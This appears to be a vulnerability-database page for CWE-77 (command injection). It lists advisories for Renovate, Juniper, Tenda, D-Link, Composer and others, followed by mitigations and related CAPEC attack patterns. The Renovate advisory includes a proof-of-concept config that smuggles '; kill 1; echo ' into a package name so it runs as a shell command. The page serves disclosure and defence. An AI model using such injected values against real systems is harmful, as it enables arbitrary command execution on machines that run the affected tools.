CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5383 vulnerabilities reference this CWE, most recent first.
GHSA-FR4J-65PV-GJJJ
Vulnerability from github – Published: 2026-01-13 20:28 – Updated: 2026-01-13 20:28Summary
The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.
Details
Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.
The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["npm"],
// Provide a command in the package name
overridePackageName: "; kill 1; echo ",
// Override the datasource to prevent a lookup failure
overrideDatasource: "custom.always",
},
],
}
package.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
}
package-lock.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
},
"node_modules/uuid": {
"version": "11.0.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
"integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
"funding": [
"https://github.com/sponsors/broofa",
"https://github.com/sponsors/ctavan"
],
"license": "MIT",
"bin": {
"uuid": "dist/esm/bin/uuid"
}
}
}
}
- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
[!NOTE] This specific proof of concept relies on the introduction of the
overrideDatasourceandoverridePackageNameconfiguration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "renovate"
},
"ranges": [
{
"events": [
{
"introduced": "35.63.0"
},
{
"fixed": "40.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T20:28:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe user-provided string `packageName` in the `npm` manager is appended to the `npm install` command during lock maintenance without proper sanitization.\n\n\n### Details\nAdversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.\nThe user-provided workspace names and package keys that are added to the `updateCmd` variables in [lib/modules/manager/npm/post-update/npm.ts](https://github.com/renovatebot/renovate/blob/5bdaf47eebde770107017c47557bca41189db588/lib/modules/manager/npm/post-update/npm.ts) are not being escaped using the `quote` function from the `shlex` package.\nThis lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.\n\n### PoC\n1. Create a git repo with the following content:\n\n`renovate.json5`:\n\n```json5\n{\n $schema: \"https://docs.renovatebot.com/renovate-schema.json\",\n customDatasources: {\n always: {\n defaultRegistryUrlTemplate: \"https://docs.renovatebot.com/search/search_index.json\",\n transformTemplates: [\u0027{\"releases\":[{\"version\":\"11.1.0\"}]}\u0027],\n },\n },\n packageRules: [\n {\n // Target of the day\n matchManagers: [\"npm\"],\n // Provide a command in the package name\n overridePackageName: \"; kill 1; echo \",\n // Override the datasource to prevent a lookup failure\n overrideDatasource: \"custom.always\",\n },\n ],\n}\n\n```\n\n\n`package.json`:\n\n```json\n{\n \"name\": \"renovate-aci-4\",\n \"version\": \"0.0.1\",\n \"dependencies\": {\n \"uuid\": \"^11.0.0\"\n }\n}\n```\n\n\n`package-lock.json`:\n\n```json\n{\n \"name\": \"renovate-aci-4\",\n \"version\": \"0.0.1\",\n \"lockfileVersion\": 3,\n \"requires\": true,\n \"packages\": {\n \"\": {\n \"name\": \"renovate-aci-4\",\n \"version\": \"0.0.1\",\n \"dependencies\": {\n \"uuid\": \"^11.0.0\"\n }\n },\n \"node_modules/uuid\": {\n \"version\": \"11.0.0\",\n \"resolved\": \"https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz\",\n \"integrity\": \"sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==\",\n \"funding\": [\n \"https://github.com/sponsors/broofa\",\n \"https://github.com/sponsors/ctavan\"\n ],\n \"license\": \"MIT\",\n \"bin\": {\n \"uuid\": \"dist/esm/bin/uuid\"\n }\n }\n }\n}\n\n```\n\n2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting \"Repository finished\", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.\n\n\u003e [!NOTE]\n\u003e This specific proof of concept relies on the introduction of the `overrideDatasource` and `overridePackageName` configuration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.\n\n### Impact\nThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.",
"id": "GHSA-fr4j-65pv-gjjj",
"modified": "2026-01-13T20:28:16Z",
"published": "2026-01-13T20:28:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate/security/advisories/GHSA-fr4j-65pv-gjjj"
},
{
"type": "PACKAGE",
"url": "https://github.com/renovatebot/renovate"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration"
}
GHSA-FR6C-HWR9-4GR5
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-10-25 19:00A command injection vulnerability in command processing on Juniper Networks Junos OS Evolved allows an attacker with authenticated CLI access to be able to bypass configured access protections to execute arbitrary shell commands within the context of the current user. The vulnerability allows an attacker to bypass command authorization restrictions assigned to their specific user account and execute commands that are available to the privilege level for which the user is assigned. For example, a user that is in the super-user login class, but restricted to executing specific CLI commands could exploit the vulnerability to execute any other command available to an unrestricted admin user. This vulnerability does not increase the privilege level of the user, but rather bypasses any CLI command restrictions by allowing full access to the shell. This issue affects Juniper Networks Junos OS Evolved: All versions prior to 20.4R3-S1-EVO; All versions of 21.1-EVO and 21.2-EVO.
{
"affected": [],
"aliases": [
"CVE-2021-31356"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-19T19:15:00Z",
"severity": "HIGH"
},
"details": "A command injection vulnerability in command processing on Juniper Networks Junos OS Evolved allows an attacker with authenticated CLI access to be able to bypass configured access protections to execute arbitrary shell commands within the context of the current user. The vulnerability allows an attacker to bypass command authorization restrictions assigned to their specific user account and execute commands that are available to the privilege level for which the user is assigned. For example, a user that is in the super-user login class, but restricted to executing specific CLI commands could exploit the vulnerability to execute any other command available to an unrestricted admin user. This vulnerability does not increase the privilege level of the user, but rather bypasses any CLI command restrictions by allowing full access to the shell. This issue affects Juniper Networks Junos OS Evolved: All versions prior to 20.4R3-S1-EVO; All versions of 21.1-EVO and 21.2-EVO.",
"id": "GHSA-fr6c-hwr9-4gr5",
"modified": "2022-10-25T19:00:33Z",
"published": "2022-05-24T19:17:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31356"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA11221"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FR84-HV36-HJ5P
Vulnerability from github – Published: 2024-01-11 09:30 – Updated: 2025-06-17 18:31TOTOlink A3700R v9.1.2u.5822_B20200513 was discovered to contain a remote command execution (RCE) vulnerability via the NTPSyncWithHost function.
{
"affected": [],
"aliases": [
"CVE-2023-52027"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-11T09:15:47Z",
"severity": "CRITICAL"
},
"details": "TOTOlink A3700R v9.1.2u.5822_B20200513 was discovered to contain a remote command execution (RCE) vulnerability via the NTPSyncWithHost function.",
"id": "GHSA-fr84-hv36-hj5p",
"modified": "2025-06-17T18:31:29Z",
"published": "2024-01-11T09:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52027"
},
{
"type": "WEB",
"url": "https://815yang.github.io/2023/12/23/a3700r/TOTOLINKA3700R_NTPSyncWithHost"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FR8G-MP5C-849C
Vulnerability from github – Published: 2021-12-27 00:01 – Updated: 2022-01-05 00:01Certain NETGEAR devices are affected by command injection by an authenticated user. This affects RBK752 before 3.2.16.6, RBR750 before 3.2.16.6, RBS750 before 3.2.16.6, RBK852 before 3.2.16.6, RBR850 before 3.2.16.6, and RBS850 before 3.2.16.6.
{
"affected": [],
"aliases": [
"CVE-2021-45586"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-26T01:15:00Z",
"severity": "MODERATE"
},
"details": "Certain NETGEAR devices are affected by command injection by an authenticated user. This affects RBK752 before 3.2.16.6, RBR750 before 3.2.16.6, RBS750 before 3.2.16.6, RBK852 before 3.2.16.6, RBR850 before 3.2.16.6, and RBS850 before 3.2.16.6.",
"id": "GHSA-fr8g-mp5c-849c",
"modified": "2022-01-05T00:01:21Z",
"published": "2021-12-27T00:01:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45586"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000064108/Security-Advisory-for-Post-Authentication-Command-Injection-on-Some-WiFi-Systems-PSV-2020-0094"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FRJX-GPFQ-XF63
Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50Sierra Wireless GX 440 devices with ALEOS firmware 4.3.2 allow Embedded_Ace_Set_Task.cgi command injection.
{
"affected": [],
"aliases": [
"CVE-2016-5065"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-10T03:59:00Z",
"severity": "CRITICAL"
},
"details": "Sierra Wireless GX 440 devices with ALEOS firmware 4.3.2 allow Embedded_Ace_Set_Task.cgi command injection.",
"id": "GHSA-frjx-gpfq-xf63",
"modified": "2022-05-17T02:50:11Z",
"published": "2022-05-17T02:50:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5065"
},
{
"type": "WEB",
"url": "https://carvesystems.com/sierra-wireless-2016-advisory.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FRM5-362Q-RGG4
Vulnerability from github – Published: 2023-05-11 09:30 – Updated: 2023-05-11 09:30A vulnerability was found in Tenda AC23 16.03.07.45_cn. It has been declared as critical. This vulnerability affects unknown code of the file /bin/ate of the component Service Port 7329. The manipulation of the argument v2 leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-228778 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2023-2649"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-11T08:15:08Z",
"severity": "HIGH"
},
"details": "A vulnerability was found in Tenda AC23 16.03.07.45_cn. It has been declared as critical. This vulnerability affects unknown code of the file /bin/ate of the component Service Port 7329. The manipulation of the argument v2 leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-228778 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-frm5-362q-rgg4",
"modified": "2023-05-11T09:30:24Z",
"published": "2023-05-11T09:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2649"
},
{
"type": "WEB",
"url": "https://github.com/xinzhihen06/ac23tenda/blob/main/tendaAC23.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.228778"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.228778"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FRPG-52QC-H9C8
Vulnerability from github – Published: 2024-02-06 00:30 – Updated: 2024-02-12 18:31An issue in symphony v.3.6.3 and before allows a remote attacker to execute arbitrary code via the log4j component.
{
"affected": [],
"aliases": [
"CVE-2024-23049"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-05T23:15:08Z",
"severity": "CRITICAL"
},
"details": "An issue in symphony v.3.6.3 and before allows a remote attacker to execute arbitrary code via the log4j component.",
"id": "GHSA-frpg-52qc-h9c8",
"modified": "2024-02-12T18:31:07Z",
"published": "2024-02-06T00:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23049"
},
{
"type": "WEB",
"url": "https://github.com/88250/symphony/issues/82"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FRPM-2WWM-5RH6
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 15:30A vulnerability was identified in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. Affected is the function cgi_create_import_users/cgi_user_batch_create/cgi_user_set_quota/cgi_user_del/cgi_user_modify/cgi_group_set_quota/cgi_group_modify/cgi_group_add/cgi_user_add/cgi_get_modify_group_info/cgi_chg_admin_pw of the file /cgi-bin/account_mgr.cgi. The manipulation leads to command injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.
{
"affected": [],
"aliases": [
"CVE-2026-4209"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:20:06Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. Affected is the function cgi_create_import_users/cgi_user_batch_create/cgi_user_set_quota/cgi_user_del/cgi_user_modify/cgi_group_set_quota/cgi_group_modify/cgi_group_add/cgi_user_add/cgi_get_modify_group_info/cgi_chg_admin_pw of the file /cgi-bin/account_mgr.cgi. The manipulation leads to command injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.",
"id": "GHSA-frpm-2wwm-5rh6",
"modified": "2026-03-16T15:30:46Z",
"published": "2026-03-16T15:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4209"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_148/148.md"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_149/149.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.351120"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.351120"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770429"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770430"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770431"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770432"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770433"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770434"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770435"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770436"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770437"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.770438"
},
{
"type": "WEB",
"url": "https://www.dlink.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FRPX-7CH7-XGWH
Vulnerability from github – Published: 2022-03-19 00:00 – Updated: 2022-03-26 00:00Tenda AC9 v15.03.2.21 was discovered to contain a remote command execution (RCE) vulnerability via the vlanid parameter in the SetIPTVCfg function.
{
"affected": [],
"aliases": [
"CVE-2022-25441"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-18T21:15:00Z",
"severity": "CRITICAL"
},
"details": "Tenda AC9 v15.03.2.21 was discovered to contain a remote command execution (RCE) vulnerability via the vlanid parameter in the SetIPTVCfg function.",
"id": "GHSA-frpx-7ch7-xgwh",
"modified": "2022-03-26T00:00:41Z",
"published": "2022-03-19T00:00:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25441"
},
{
"type": "WEB",
"url": "https://github.com/EPhaha/IOT_vuln/tree/main/Tenda/AC9/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FRQG-7G38-6GCF
Vulnerability from github – Published: 2021-10-05 20:23 – Updated: 2021-10-11 18:39Impact
Windows users running Composer to install untrusted dependencies are affected and should definitely upgrade for safety. Other OSs and WSL are not affected.
Patches
1.10.23 and 2.1.9 fix the issue
Workarounds
None
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "composer/composer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.10.23"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "composer/composer"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-alpha1"
},
{
"fixed": "2.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41116"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-05T18:44:04Z",
"nvd_published_at": "2021-10-05T18:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nWindows users running Composer to install untrusted dependencies are affected and should definitely upgrade for safety. Other OSs and WSL are not affected. \n\n### Patches\n1.10.23 and 2.1.9 fix the issue\n\n### Workarounds\nNone\n",
"id": "GHSA-frqg-7g38-6gcf",
"modified": "2021-10-11T18:39:06Z",
"published": "2021-10-05T20:23:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/composer/composer/security/advisories/GHSA-frqg-7g38-6gcf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41116"
},
{
"type": "WEB",
"url": "https://github.com/composer/composer/commit/ca5e2f8d505fd3bfac6f7c85b82f2740becbc0aa"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/composer/composer/CVE-2021-41116.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/composer/composer"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/securing-developer-tools-package-managers"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2022-09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper escaping of command arguments on Windows leading to command injection"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.